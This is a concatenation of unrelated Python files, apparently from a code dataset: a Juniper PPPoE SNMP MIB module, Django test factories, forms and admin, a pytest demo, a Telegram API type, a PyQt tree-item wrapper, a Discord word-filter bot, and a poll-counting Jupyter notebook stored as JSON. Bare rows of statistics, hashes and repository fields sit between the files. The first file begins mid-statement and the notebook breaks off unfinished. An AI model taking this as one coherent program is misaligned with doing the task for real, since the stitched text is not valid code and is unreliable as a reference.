("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePacketTrace"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileServiceNameTableName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadrRemoteCircuitIdCapture")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup5 = juniPppoeProfileGroup5.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileGroup5.setDescription('A collection of objects providing management of profile functionality for PPPOE interfaces in a Juniper product.') juniPppoeProfileGroup6 = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 6)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileDupProtect"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileAcName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadiFlag"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePacketTrace"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileServiceNameTableName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadrRemoteCircuitIdCapture"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMtu")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup6 = juniPppoeProfileGroup6.setStatus('obsolete') if mibBuilder.loadTexts: juniPppoeProfileGroup6.setDescription('A collection of objects providing management of profile functionality for PPPOE interfaces in a Juniper product.') juniPppoeProfileGroup7 = ObjectGroup((1, 3, 6, 1, 4, 1, 4874, 2, 2, 46, 4, 2, 7)).setObjects(("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSetMap"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxNumSessions"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubMotm"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileSubUrl"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileDupProtect"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileAcName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadiFlag"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePacketTrace"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileServiceNameTableName"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfilePadrRemoteCircuitIdCapture"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMtu"), ("Juniper-PPPOE-PROFILE-MIB", "juniPppoeProfileMaxSessionOverride")) if getattr(mibBuilder, 'version', (0, 0, 0)) > (4, 4, 0): juniPppoeProfileGroup7 = juniPppoeProfileGroup7.setStatus('current') if mibBuilder.loadTexts: juniPppoeProfileGroup7.setDescription('A collection of objects providing management of profile functionality for PPPOE interfaces in a Juniper product.') mibBuilder.exportSymbols("Juniper-PPPOE-PROFILE-MIB", juniPppoeCompliance5=juniPppoeCompliance5, juniPppoeProfileGroup2=juniPppoeProfileGroup2, juniPppoeProfileMtu=juniPppoeProfileMtu, juniPppoeProfile=juniPppoeProfile, juniPppoeProfileSetMap=juniPppoeProfileSetMap, juniPppoeProfilePadiFlag=juniPppoeProfilePadiFlag, juniPppoeProfileTable=juniPppoeProfileTable, juniPppoeProfileDupProtect=juniPppoeProfileDupProtect, juniPppoeCompliance4=juniPppoeCompliance4, juniPppoeProfileGroup=juniPppoeProfileGroup, juniPppoeProfileMIB=juniPppoeProfileMIB, juniPppoeProfileGroup4=juniPppoeProfileGroup4, juniPppoeProfileCompliances=juniPppoeProfileCompliances, juniPppoeProfileAcName=juniPppoeProfileAcName, juniPppoeProfileGroup3=juniPppoeProfileGroup3, juniPppoeProfilePadrRemoteCircuitIdCapture=juniPppoeProfilePadrRemoteCircuitIdCapture, juniPppoeProfileSubMotm=juniPppoeProfileSubMotm, juniPppoeProfilePacketTrace=juniPppoeProfilePacketTrace, juniPppoeProfileEntry=juniPppoeProfileEntry, juniPppoeProfileGroup5=juniPppoeProfileGroup5, juniPppoeProfileMaxSessionOverride=juniPppoeProfileMaxSessionOverride, juniPppoeCompliance2=juniPppoeCompliance2, juniPppoeProfileGroups=juniPppoeProfileGroups, juniPppoeCompliance6=juniPppoeCompliance6, juniPppoeProfileCompliance=juniPppoeProfileCompliance, juniPppoeCompliance3=juniPppoeCompliance3, juniPppoeCompliance7=juniPppoeCompliance7, juniPppoeProfileGroup6=juniPppoeProfileGroup6, juniPppoeProfileMaxNumSessions=juniPppoeProfileMaxNumSessions, juniPppoeProfileId=juniPppoeProfileId, juniPppoeProfileConformance=juniPppoeProfileConformance, PYSNMP_MODULE_ID=juniPppoeProfileMIB, juniPppoeProfileObjects=juniPppoeProfileObjects, juniPppoeProfileServiceNameTableName=juniPppoeProfileServiceNameTableName, juniPppoeProfileSubUrl=juniPppoeProfileSubUrl, juniPppoeProfileGroup7=juniPppoeProfileGroup7)
171.769784
1,836
0.789956
2,754
23,876
6.847858
0.1565
0.049631
0.061244
0.088658
0.508829
0.413437
0.393658
0.384962
0.371388
0.368524
0
0.04807
0.09298
23,876
138
1,837
173.014493
0.822774
0.014408
0
0.121951
0
0.162602
0.462994
0.150406
0
0
0
0
0
1
0
false
0
0.065041
0
0.065041
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
1
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
146fa414e2d377664508718550bca25960c302e8
977
py
Python
task_assignment/tests/factory.py
My-Garage/resourceideaapi
b872a6f15277989870572ba6e523c9dc378b7a24
[ "MIT" ]
1
2021-01-20T14:40:06.000Z
2021-01-20T14:40:06.000Z
task_assignment/tests/factory.py
My-Garage/resourceideaapi
b872a6f15277989870572ba6e523c9dc378b7a24
[ "MIT" ]
null
null
null
task_assignment/tests/factory.py
My-Garage/resourceideaapi
b872a6f15277989870572ba6e523c9dc378b7a24
[ "MIT" ]
null
null
null
import factory from faker import Faker from faker.providers import lorem # type: ignore from faker.providers import date_time # type: ignore import pytz # type: ignore from employee.tests.factory import EmployeeFactory from engagement.tests.factory import EngagementFactory from organization.tests.factory import OrganizationFactory faker = Faker() faker.add_provider(lorem) faker.add_provider(date_time) class TaskAssignmentFactory(factory.django.DjangoModelFactory): """Task assignment factory""" class Meta: model = 'task_assignment.TaskAssignment' task = faker.sentence(nb_words=3)[:126] status = 'NOT STARTED' start_date_time = faker.date_time_this_year(tzinfo=pytz.utc) end_date_time = faker.date_time_this_year(before_now=False, after_now=True, tzinfo=pytz.utc) employee = factory.SubFactory(EmployeeFactory) organization = factory.SubFactory(OrganizationFactory) engagement = factory.SubFactory(EngagementFactory)
31.516129
96
0.78608
118
977
6.355932
0.415254
0.064
0.072
0.064
0.077333
0.077333
0.077333
0
0
0
0
0.004728
0.134084
977
30
97
32.566667
0.881797
0.064483
0
0
0
0
0.045254
0.033113
0
0
0
0
0
1
0
false
0
0.380952
0
0.809524
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
148d381df9fdd93ba17627298aeffc49b55cd9cc
76
py
Python
.venv/lib/python3.8/site-packages/cv2/version.py
justpns/image-processing
c451ec0e9344998c2978f75eff7193a957dfdcb6
[ "MIT" ]
2
2020-06-05T17:33:24.000Z
2021-01-21T08:59:38.000Z
.venv/lib/python3.8/site-packages/cv2/version.py
justpns/image-processing
c451ec0e9344998c2978f75eff7193a957dfdcb6
[ "MIT" ]
1
2020-12-18T15:49:24.000Z
2020-12-18T15:49:24.000Z
.venv/lib/python3.8/site-packages/cv2/version.py
justpns/image-processing
c451ec0e9344998c2978f75eff7193a957dfdcb6
[ "MIT" ]
null
null
null
opencv_version = "4.4.0.42" contrib = False headless = False ci_build = True
19
27
0.736842
13
76
4.153846
0.846154
0
0
0
0
0
0
0
0
0
0
0.076923
0.144737
76
4
28
19
0.753846
0
0
0
0
0
0.103896
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
1494dba6d3a5f4650b0d469ad61841537612f737
280
py
Python
pytest_demo.py
vis7/django_pytest_fixture_tutorial
e4662aaca6ffebdc6d467e06115c249dc5106665
[ "MIT" ]
null
null
null
pytest_demo.py
vis7/django_pytest_fixture_tutorial
e4662aaca6ffebdc6d467e06115c249dc5106665
[ "MIT" ]
null
null
null
pytest_demo.py
vis7/django_pytest_fixture_tutorial
e4662aaca6ffebdc6d467e06115c249dc5106665
[ "MIT" ]
null
null
null
from django.test import TestCase from django.contrib.auth.models import Group, User # # simple test def test_foo(): assert True # accessing database def test_should_create_user_with_username(db): user = User.objects.create_user("Haki") assert user.username == "vis"
23.333333
50
0.753571
40
280
5.1
0.625
0.098039
0
0
0
0
0
0
0
0
0
0
0.153571
280
11
51
25.454545
0.860759
0.107143
0
0
0
0
0.028571
0
0
0
0
0
0.285714
1
0.285714
false
0
0.285714
0
0.571429
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
149b2bcc3c75aab013d6898fdd35a71241966d6c
153
py
Python
koi/cli.py
Hanaasagi/koi
4e8c5e5df9cacf34ef3d2d866cec98bee95a3719
[ "BSD-3-Clause" ]
null
null
null
koi/cli.py
Hanaasagi/koi
4e8c5e5df9cacf34ef3d2d866cec98bee95a3719
[ "BSD-3-Clause" ]
null
null
null
koi/cli.py
Hanaasagi/koi
4e8c5e5df9cacf34ef3d2d866cec98bee95a3719
[ "BSD-3-Clause" ]
null
null
null
import click from migrate_command import migrate @click.group() def cli(): """""" cli.add_command(migrate) if __name__ == '__main__': cli()
10.928571
35
0.660131
19
153
4.789474
0.631579
0
0
0
0
0
0
0
0
0
0
0
0.189542
153
13
36
11.769231
0.733871
0
0
0
0
0
0.054422
0
0
0
0
0
0
1
0.142857
true
0
0.285714
0
0.428571
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
149fda53aa635695917707acc0b9f0c87cd37ed7
2,109
py
Python
sites/gocd-interface/apps/forms.py
scaryclam/gocd-interface
b1faac45ece35f9bc7d5065281717c313501e04b
[ "MIT" ]
null
null
null
sites/gocd-interface/apps/forms.py
scaryclam/gocd-interface
b1faac45ece35f9bc7d5065281717c313501e04b
[ "MIT" ]
null
null
null
sites/gocd-interface/apps/forms.py
scaryclam/gocd-interface
b1faac45ece35f9bc7d5065281717c313501e04b
[ "MIT" ]
null
null
null
import urlparse from django.contrib.auth.forms import AuthenticationForm from django import forms from django.utils.translation import ugettext_lazy as _ from django.conf import settings from django.core import validators class LoginForm(AuthenticationForm): # Username field must be the same length as the email field username = forms.CharField( label=_("Username"), max_length=75, widget=forms.TextInput(attrs={'autocomplete': 'off'})) password = forms.CharField( label=_("Password"), widget=forms.PasswordInput(attrs={'autocomplete': 'off'})) redirect_url = forms.CharField( widget=forms.HiddenInput, required=False) def __init__(self, host, *args, **kwargs): self.host = host super(LoginForm, self).__init__(*args, **kwargs) self.error_messages['invalid_login'] = _( "Please enter a correct e-mail and password. " "Note that the password is case-sensitive.") def clean_redirect_url(self): url = self.cleaned_data['redirect_url'].strip() if not url: return settings.LOGIN_REDIRECT_URL host = urlparse.urlparse(url)[1] if host and host != self.host: return settings.LOGIN_REDIRECT_URL return url class ForgotPasswordForm(forms.Form): username = forms.CharField(label=_("Username")) class PasswordResetForm(forms.Form): password_validators = [validators.MinLengthValidator(8)] password = forms.CharField( label=_("Password"), widget=forms.PasswordInput(attrs={'autocomplete': 'off'}), validators=password_validators) confirm_password = forms.CharField( label=_("Confirm Password"), widget=forms.PasswordInput(attrs={'autocomplete': 'off'})) def clean_password(self): # Can't use cleaned_data for confirm_password as it may not have been # cleaned yet if not self.cleaned_data['password'] == self.data['confirm_password']: raise forms.ValidationError(_("Passwords do not match!")) return self.cleaned_data['password']
35.745763
78
0.678046
239
2,109
5.824268
0.393305
0.060345
0.068247
0.05819
0.244253
0.150862
0.150862
0.113506
0.113506
0.113506
0
0.002413
0.213845
2,109
58
79
36.362069
0.837153
0.06496
0
0.181818
0
0
0.13872
0
0
0
0
0
0
1
0.068182
false
0.431818
0.136364
0
0.522727
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
14a5bebeaa10541009a21168ce2e3468b65b33cf
1,224
py
Python
aiotdlib/api/types/found_messages.py
jraylan/aiotdlib
4528fcfca7c5c69b54a878ce6ce60e934a2dcc73
[ "MIT" ]
37
2021-05-04T10:41:41.000Z
2022-03-30T13:48:05.000Z
aiotdlib/api/types/found_messages.py
jraylan/aiotdlib
4528fcfca7c5c69b54a878ce6ce60e934a2dcc73
[ "MIT" ]
13
2021-07-17T19:54:51.000Z
2022-02-26T06:50:00.000Z
aiotdlib/api/types/found_messages.py
jraylan/aiotdlib
4528fcfca7c5c69b54a878ce6ce60e934a2dcc73
[ "MIT" ]
7
2021-09-22T21:27:11.000Z
2022-02-20T02:33:19.000Z
# =============================================================================== # # # # This file has been generated automatically!! Do not change this manually! # # # # =============================================================================== # from __future__ import annotations from pydantic import Field from .message import Message from ..base_object import BaseObject class FoundMessages(BaseObject): """ Contains a list of messages found by a search :param total_count: Approximate total count of messages found; -1 if unknown :type total_count: :class:`int` :param messages: List of messages :type messages: :class:`list[Message]` :param next_offset: The offset for the next request. If empty, there are no more results :type next_offset: :class:`str` """ ID: str = Field("foundMessages", alias="@type") total_count: int messages: list[Message] next_offset: str @staticmethod def read(q: dict) -> FoundMessages: return FoundMessages.construct(**q)
33.081081
92
0.5
113
1,224
5.318584
0.530973
0.066556
0.046589
0
0
0
0
0
0
0
0
0.001172
0.303105
1,224
36
93
34
0.7034
0.617647
0
0
1
0
0.044888
0
0
0
0
0
0
1
0.083333
false
0
0.333333
0.083333
0.916667
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
null
0
0
0
0
0
0
0
0
1
0
0
0
0
2
14aeaa80548e22b619191aa94c03220527748f63
4,623
py
Python
prettyqt/widgets/treewidgetitem.py
phil65/PrettyQt
26327670c46caa039c9bd15cb17a35ef5ad72e6c
[ "MIT" ]
7
2019-05-01T01:34:36.000Z
2022-03-08T02:24:14.000Z
prettyqt/widgets/treewidgetitem.py
phil65/PrettyQt
26327670c46caa039c9bd15cb17a35ef5ad72e6c
[ "MIT" ]
141
2019-04-16T11:22:01.000Z
2021-04-14T15:12:36.000Z
prettyqt/widgets/treewidgetitem.py
phil65/PrettyQt
26327670c46caa039c9bd15cb17a35ef5ad72e6c
[ "MIT" ]
5
2019-04-17T11:48:19.000Z
2021-11-21T10:30:19.000Z
from __future__ import annotations from typing import Iterator, Literal from prettyqt import constants, core, gui, iconprovider from prettyqt.qt import QtWidgets from prettyqt.utils import InvalidParamError, bidict, types mod = QtWidgets.QTreeWidgetItem CHILD_INDICATOR_POLICY = bidict( show=mod.ChildIndicatorPolicy.ShowIndicator, dont_show=mod.ChildIndicatorPolicy.DontShowIndicator, dont_show_when_childless=mod.ChildIndicatorPolicy.DontShowIndicatorWhenChildless, ) ChildIndicatorPolicyStr = Literal["show", "dont_show", "dont_show_when_childless"] class TreeWidgetItem(QtWidgets.QTreeWidgetItem): def __repr__(self): return f"{type(self).__name__}()" def serialize_fields(self): data = [ self.data(i, constants.USER_ROLE) # type: ignore for i in range(self.columnCount()) ] return dict( text=[self.text(i) for i in range(self.columnCount())], tool_tip=[self.toolTip(i) for i in range(self.columnCount())], status_tip=[self.statusTip(i) for i in range(self.columnCount())], checkstate=[self.get_checkstate(i) for i in range(self.columnCount())], icon=[self.get_icon(i) for i in range(self.columnCount())], data=data, ) def __getstate__(self): return bytes(self) def __setstate__(self, ba): core.DataStream.write_bytearray(ba, self) def __reduce__(self): return type(self), (), self.__getstate__() def __bytes__(self): ba = core.DataStream.create_bytearray(self) return bytes(ba) def __iter__(self) -> Iterator[QtWidgets.QTreeWidgetItem]: return iter(self.child(i) for i in range(self.childCount())) def __len__(self): return self.childCount() def __getitem__(self, index: int) -> QtWidgets.QTreeWidgetItem: item = self.child(index) if item is None: raise KeyError(index) return item def __delitem__(self, index: int): self.takeChild(index) def __add__(self, other: QtWidgets.QTreeWidgetItem) -> TreeWidgetItem: self.addChild(other) return self def sort_children(self, column: int, descending: bool = False): order = constants.DESCENDING if descending else constants.ASCENDING self.sortChildren(column, order) def set_icon(self, icon: types.IconType, column: int = 0): """Set the icon for the action. Args: icon: icon to use column: column """ icon = iconprovider.get_icon(icon) self.setIcon(column, icon) def get_background(self, column: int = 0) -> gui.Brush: return gui.Brush(self.background(column)) def get_foreground(self, column: int = 0) -> gui.Brush: return gui.Brush(self.foreground(column)) def get_font(self, column: int = 0) -> gui.Font: return gui.Font(self.font(column)) def get_icon(self, column: int = 0) -> gui.Icon | None: icon = self.icon(column) if icon.isNull(): return None return gui.Icon(icon) def set_checkstate(self, state: constants.StateStr, column: int = 0): """Set checkstate of the checkbox. Args: state: checkstate to use column: column Raises: InvalidParamError: invalid checkstate """ if state not in constants.STATE: raise InvalidParamError(state, constants.STATE) self.setCheckState(column, constants.STATE[state]) def get_checkstate(self, column: int = 0) -> constants.StateStr: """Return checkstate. Args: column: column Returns: checkstate """ return constants.STATE.inverse[self.checkState(column)] def set_child_indicator_policy(self, policy: ChildIndicatorPolicyStr): """Set the child indicator policy. Args: policy: child indicator policy Raises: InvalidParamError: policy does not exist """ if policy not in CHILD_INDICATOR_POLICY: raise InvalidParamError(policy, CHILD_INDICATOR_POLICY) self.setChildIndicatorPolicy(CHILD_INDICATOR_POLICY[policy]) def get_child_indicator_policy(self) -> ChildIndicatorPolicyStr: """Return current child indicator policy. Returns: child indicator policy """ return CHILD_INDICATOR_POLICY.inverse[self.childIndicatorPolicy()] if __name__ == "__main__": item = TreeWidgetItem() item[0] item.setData(0, 1000, "test")
30.615894
85
0.64417
513
4,623
5.608187
0.253411
0.053528
0.076469
0.026764
0.101147
0.089329
0.074731
0.027807
0.027807
0.027807
0
0.003785
0.256976
4,623
150
86
30.82
0.83377
0.108588
0
0
0
0
0.018433
0.012033
0
0
0
0
0
1
0.25
false
0
0.059524
0.095238
0.511905
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
2
14bd44a6e19e29c6c1793e0cd50305c693b4adaf
643
py
Python
examples/bad_words.py
MertGM/simplediscord
59eecf954fba1a6e56bb6333e06ece500fcffa7a
[ "MIT" ]
null
null
null
examples/bad_words.py
MertGM/simplediscord
59eecf954fba1a6e56bb6333e06ece500fcffa7a
[ "MIT" ]
null
null
null
examples/bad_words.py
MertGM/simplediscord
59eecf954fba1a6e56bb6333e06ece500fcffa7a
[ "MIT" ]
null
null
null
import os from simplediscord import SimpleDiscord as Discord token = "Bot " + os.getenv("DISCORD_TOKEN") api = os.getenv("DISCORD_API") guild = os.getenv("DISCORD_GUILD") bad_words = {} # When modifying: make sure the language keyword begins with an uppercase and the words are all lowercased. Discord.Filter("bad_words.txt") Discord.banned_words_reaction["English"] = "Careful there, mind your language!" Discord.banned_words_reaction["Turkish"] = "Hoop dedik kardesim, yavas ol!" Discord.banned_words_reaction["Dutch"] = "Hey hey, geen gescheld!" Discord.Connect(token, api, guild, ["GUILD_MESSAGES"]) @Discord.Main def Bot(): pass
30.619048
107
0.755832
89
643
5.325843
0.58427
0.050633
0.094937
0.164557
0
0
0
0
0
0
0
0
0.122862
643
20
108
32.15
0.840426
0.163297
0
0
0
0
0.324627
0
0
0
0
0
0
1
0.071429
false
0.071429
0.142857
0
0.214286
0
0
0
0
null
0
0
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
0
0
0
2
1ae848fc8ec065f8c1819685a0b33c4b9a99c596
356
py
Python
PyChan/Core/Commands/SKNIKOD/skni_kod.py
ErnestBytnar/PyChan-Bot
7ce38547fa85e6f56c1702db5bea4ef2700d9b6f
[ "MIT" ]
1
2021-12-03T17:19:27.000Z
2021-12-03T17:19:27.000Z
PyChan/Core/Commands/SKNIKOD/skni_kod.py
ErnestBytnar/PyChan-Bot
7ce38547fa85e6f56c1702db5bea4ef2700d9b6f
[ "MIT" ]
11
2021-04-12T18:37:43.000Z
2022-01-10T20:48:25.000Z
PyChan/Core/Commands/SKNIKOD/skni_kod.py
ErnestBytnar/PyChan-Bot
7ce38547fa85e6f56c1702db5bea4ef2700d9b6f
[ "MIT" ]
3
2020-12-22T09:31:07.000Z
2021-12-07T23:36:45.000Z
import discord from discord.ext import commands from Core.Commands.SKNIKOD.Functions.get_members_projects import GetMembersProjects class SKNIKOD(commands.Cog): """Class contains SKNI KOD methods """ def __init__(self, bot): """Constructor method """ self.bot = bot self.bot.add_cog(GetMembersProjects(bot))
22.25
83
0.69382
41
356
5.853659
0.609756
0.0875
0
0
0
0
0
0
0
0
0
0
0.213483
356
15
84
23.733333
0.857143
0.154494
0
0
0
0
0
0
0
0
0
0
0
1
0.142857
false
0
0.428571
0
0.714286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
1ae971b1310a6724e4b04f1e6edd9b827853e18d
223
py
Python
conftest.py
jamandbees/misc-scripts
619e89914892098714597e920e9f6b263caa5fe2
[ "MIT" ]
null
null
null
conftest.py
jamandbees/misc-scripts
619e89914892098714597e920e9f6b263caa5fe2
[ "MIT" ]
null
null
null
conftest.py
jamandbees/misc-scripts
619e89914892098714597e920e9f6b263caa5fe2
[ "MIT" ]
null
null
null
import os import pytest @pytest.fixture() def bin_path(): this_file_path = os.path.realpath(__file__) this_file_dir = os.path.dirname(this_file_path) return os.path.abspath(os.path.join(this_file_dir, "bin"))
22.3
62
0.73991
36
223
4.222222
0.416667
0.210526
0.157895
0
0
0
0
0
0
0
0
0
0.134529
223
9
63
24.777778
0.787565
0
0
0
0
0
0.013453
0
0
0
0
0
0
1
0.142857
false
0
0.285714
0
0.571429
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
2
2113c7c084c9d40b4f74897e6fd88fbe86dad94c
549
py
Python
plugins/logging/syslog/__init__.py
madflojo/automon
59a70506258c8b2354ebbe2bc91934c69800e17b
[ "Apache-2.0" ]
414
2016-07-27T12:53:56.000Z
2022-02-16T14:56:51.000Z
plugins/logging/syslog/__init__.py
SelecaoGlobocom/automatron
5a3ccfe65f42800fbd7ee02987a290d578a3d45b
[ "Apache-2.0" ]
121
2016-06-04T05:30:56.000Z
2018-09-13T17:38:05.000Z
plugins/logging/syslog/__init__.py
SelecaoGlobocom/automatron
5a3ccfe65f42800fbd7ee02987a290d578a3d45b
[ "Apache-2.0" ]
72
2016-06-12T21:37:21.000Z
2021-09-08T22:07:04.000Z
''' Syslog logging handler ''' import logging import logging.handlers import sys from core.logs import BaseLogging class Logger(BaseLogging): ''' Handler class for Syslog Logging ''' def setup(self): ''' Setup class for handler ''' lh = logging.handlers.SysLogHandler( facility=self.config['logging']['plugins']['syslog']['facility']) lh.setLevel(logging.DEBUG) logfmt = logging.Formatter("%(name)s[%(process)d] - %(levelname)s - %(message)s") lh.setFormatter(logfmt) return lh
28.894737
89
0.642987
61
549
5.786885
0.540984
0.073654
0
0
0
0
0
0
0
0
0
0
0.214936
549
18
90
30.5
0.819026
0.147541
0
0
0
0
0.176339
0.046875
0
0
0
0
0
1
0.083333
false
0
0.333333
0
0.583333
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
211b237c510048c7623a29ddca8fd601f71090a8
525
py
Python
main/admin.py
hbble/monni
800b8a190b5b0ca876bd5e4326dff3f4d4caed95
[ "MIT" ]
null
null
null
main/admin.py
hbble/monni
800b8a190b5b0ca876bd5e4326dff3f4d4caed95
[ "MIT" ]
null
null
null
main/admin.py
hbble/monni
800b8a190b5b0ca876bd5e4326dff3f4d4caed95
[ "MIT" ]
null
null
null
from django.contrib import admin from modeltranslation.admin import TranslationAdmin from .models import InCategory, OutCategory, Income, Expense class InCategoryAdmin(TranslationAdmin): '''Allowing translate InCategory in admin panel''' pass class OutCategoryAdmin(TranslationAdmin): '''Allowing translate OutCategory in admin panel''' pass admin.site.register(InCategory, InCategoryAdmin) admin.site.register(OutCategory, OutCategoryAdmin) #temp admin.site.register(Income) admin.site.register(Expense)
27.631579
60
0.80381
56
525
7.535714
0.410714
0.085308
0.161137
0.075829
0
0
0
0
0
0
0
0
0.114286
525
18
61
29.166667
0.907527
0.180952
0
0.181818
0
0
0
0
0
0
0
0
0
1
0
true
0.181818
0.272727
0
0.454545
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
1
0
0
0
0
0
2
212378cba7a88654cd2e95ff9931da4e809af617
4,388
py
Python
PyPoll/pypoll_main.py
rzh0033/python-challenge
ba575f816528fbe817ceafaba56118e950bbe15e
[ "CNRI-Python", "RSA-MD" ]
null
null
null
PyPoll/pypoll_main.py
rzh0033/python-challenge
ba575f816528fbe817ceafaba56118e950bbe15e
[ "CNRI-Python", "RSA-MD" ]
null
null
null
PyPoll/pypoll_main.py
rzh0033/python-challenge
ba575f816528fbe817ceafaba56118e950bbe15e
[ "CNRI-Python", "RSA-MD" ]
null
null
null
{ "cells": [ { "cell_type": "code", "execution_count": 1, "id": "9de928d7", "metadata": {}, "outputs": [], "source": [ "import os\n", "import csv\n", "import pandas as pd" ] }, { "cell_type": "code", "execution_count": 2, "id": "8f1478f8", "metadata": {}, "outputs": [], "source": [ "#Set Path\n", "pollCSV = os.path.join('Resources', 'election_data.CSV')\n", "pollCSV = r'C:\\Users\\rzh00\\Documents\\gt-virt-atl-data-pt-09-2021-u-c-master\\02-Homework\\03-Python\\Instructions\\PyPoll\\Resources\\election_data.csv'" ] }, { "cell_type": "code", "execution_count": 3, "id": "0f207e3c", "metadata": {}, "outputs": [], "source": [ "#Varibales\n", "candi = []\n", "vote_count = []\n", "vote_percent = []\n", "\n", "num_vote = 0" ] }, { "cell_type": "code", "execution_count": 7, "id": "08423af7", "metadata": {}, "outputs": [], "source": [ "#Open CSV\n", "with open(pollCSV) as csvfile:\n", " csvreader = csv.reader(csvfile, delimiter = ',')\n", " csvheader = next(csvreader)\n", " for row in csvreader: \n", " num_vote = num_vote + 1 # total votes\n", " candi_name = row[2] # adding candidate name to array\n", " \n", " if candi_name not in candi: #conditional to append any new candidates \n", " candi.append(candi_name)\n", " index = candi.index(row[2])\n", " vote_count.append(1)\n", " else:\n", " index = candi.index(row[2])\n", " vote_count[index] += 1\n", " \n", " for i in vote_count: # find the percentage of the votes recieved\n", " percent = round((i/num_vote) * 100)\n", " percent = '%.3f%%' % percent\n", " vote_percent.append(percent)\n", " \n", " winner = max(vote_count) # determine winner and update the value\n", " index = vote_count.index(winner)\n", " candi_winner = candi[index]" ] }, { "cell_type": "code", "execution_count": 16, "id": "400521a2", "metadata": {}, "outputs": [ { "name": "stdout", "output_type": "stream", "text": [ "Election Results\n", "--------------------\n", "Total Votes[4436463, 1408401, 985880, 211260]\n", "--------------------\n", "Khan: 63.000% (4436463)\n", "Correy: 20.000% (1408401)\n", "Li: 14.000% (985880)\n", "O'Tooley: 3.000% (211260)\n", "--------------------\n", "Winning Candidate: 4436463\n" ] } ], "source": [ "#Print Results\n", "print('Election Results')\n", "print('-' * 20)\n", "print(f'Total Votes' + str(vote_count))\n", "print('-' * 20)\n", "for i in range(len(candi)):\n", " print(f'{candi[i]}: {str(vote_percent[i])} ({str(vote_count[i])})')\n", "print('-' * 20)\n", "print(f'Winning Candidate: {winner}')" ] }, { "cell_type": "code", "execution_count": 14, "id": "18e81981", "metadata": {}, "outputs": [], "source": [ "result = os.path.join('output', 'result.txt')\n", "result = r'C:\\Users\\rzh00\\Documents\\gt-virt-atl-data-pt-09-2021-u-c-master\\02-Homework\\03-Python\\Instructions\\PyPoll\\result.txt'\n", "\n", "with open(result, 'w') as txt:\n", " txt.write('Election Results')\n", " txt.write('-' * 20)\n", " txt.write(f'Total Votes' + str(vote_count))\n", " txt.write('-' * 20)\n", " for i in range(len(candi)):\n", " txt.write(f'{candi[i]}: {str(vote_percent[i])} ({str(vote_count[i])})')\n", " txt.write('-' * 20)\n", " txt.write(f'Winning Candidate: {winner}')\n", " txt.close()" ] }, { "cell_type": "code", "execution_count": null, "id": "c5893e30", "metadata": {}, "outputs": [], "source": [] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 